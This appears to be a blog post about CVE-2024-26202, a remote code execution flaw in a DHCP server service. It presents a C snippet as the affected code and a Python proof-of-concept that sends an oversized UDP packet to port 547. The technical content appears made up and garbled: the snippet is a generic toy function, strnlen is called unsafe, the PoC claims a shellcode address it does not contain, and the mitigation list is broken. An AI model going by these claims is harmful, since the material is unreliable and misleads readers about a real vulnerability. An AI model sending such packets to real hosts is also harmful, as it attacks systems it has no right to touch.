A new security vulnerability, identified as CVE-2024-26202, has been recently discovered in the Dynamic Host Configuration Protocol (DHCP) Server Service. This critical vulnerability could enable attackers to execute arbitrary code remotely and take full control of the affected system. In this post, we delve into the specifics of this vulnerability, showcasing the affected code fragments, providing links to relevant resources and references, and discussing the potential exploits of this vulnerability.

The Vulnerability

CVE-2024-26202 falls under the category of remote code execution (RCE) vulnerabilities, which are particularly dangerous as they can give attackers the ability to run arbitrary code on the target system without requiring any user interaction. The code embedded in the DHCP server service processes incoming network packets and due to the improper handling of the memory allocation, an attacker can exploit this vulnerability to execute code remotely and escalate their privileges on the targeted system.

Affected Code Snippet

The vulnerability is present in the following code fragment, specifically in the malloc() function implementation:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void vulnerable_function(char *input)
{
    int dynamicSize;
    char *buffer;

    dynamicSize = strnlen(input,50);
    buffer = malloc(dynamicSize);
    if(buffer)
    {
        strcpy(buffer, input);
        printf("Copied input: %s\n", buffer);
        free(buffer);
    }
}

In the above example, the dynamicSize is determined based on the length of the input string, and memory is allocated using the malloc() function. However, the improper handling of memory allocation and the usage of unsafe functions, such as strcpy() and strnlen(), creates the possibility of a buffer overflow attack, upon which an attacker can leverage to execute arbitrary code remotely.

For more information about CVE-2024-26202, you may refer to the following original sources

1. CVE record: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26202
2. National Vulnerability Database (NVD) entry: https://nvd.nist.gov/vuln/detail/CVE-2024-26202

Exploiting the Vulnerability (Proof of Concept)

In order to exploit this vulnerability, an attacker can send a maliciously crafted packet to the DHCP server service with a payload that exploits the buffer overflow vulnerability. Below is a simple proof-of-concept (PoC) to showcase the exploitation of this vulnerability:

import socket

target_ip = "192.168.1.1"
target_port = 547

evil_payload = b'\x00' * 528
evil_payload += b'\x41' * 4  # Overwriting the return pointer

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(evil_payload, (target_ip, target_port))
sock.close()

print("Malicious packet sent!")

In this PoC code, we create a malicious UDP packet with an oversized payload to trigger the buffer overflow vulnerability in the DHCP server service. The payload is designed to overwrite the return pointer with the address of the attacker’s shellcode, thereby allowing remote code execution.

Use secure coding practices, such as employing safer alternatives to strcpy() and strnlen().

3. Regularly monitor the traffic coming into your network for suspicious activities, and implement intrusion prevention systems (IPS) to block potential exploit attempts.

Conclusion

The CVE-2024-26202 remote code execution vulnerability in the DHCP server service is a severe threat to the affected systems. By understanding the root cause of the vulnerability, associated exploits, and properly implementing mitigations, you can protect your systems from potential attacks. Stay vigilant and keep your software up-to-date to reduce the likelihood of falling victim to this or other similar vulnerabilities.

Timeline

Published on: 04/09/2024 17:15:38 UTC
Last modified on: 04/10/2024 13:24:00 UTC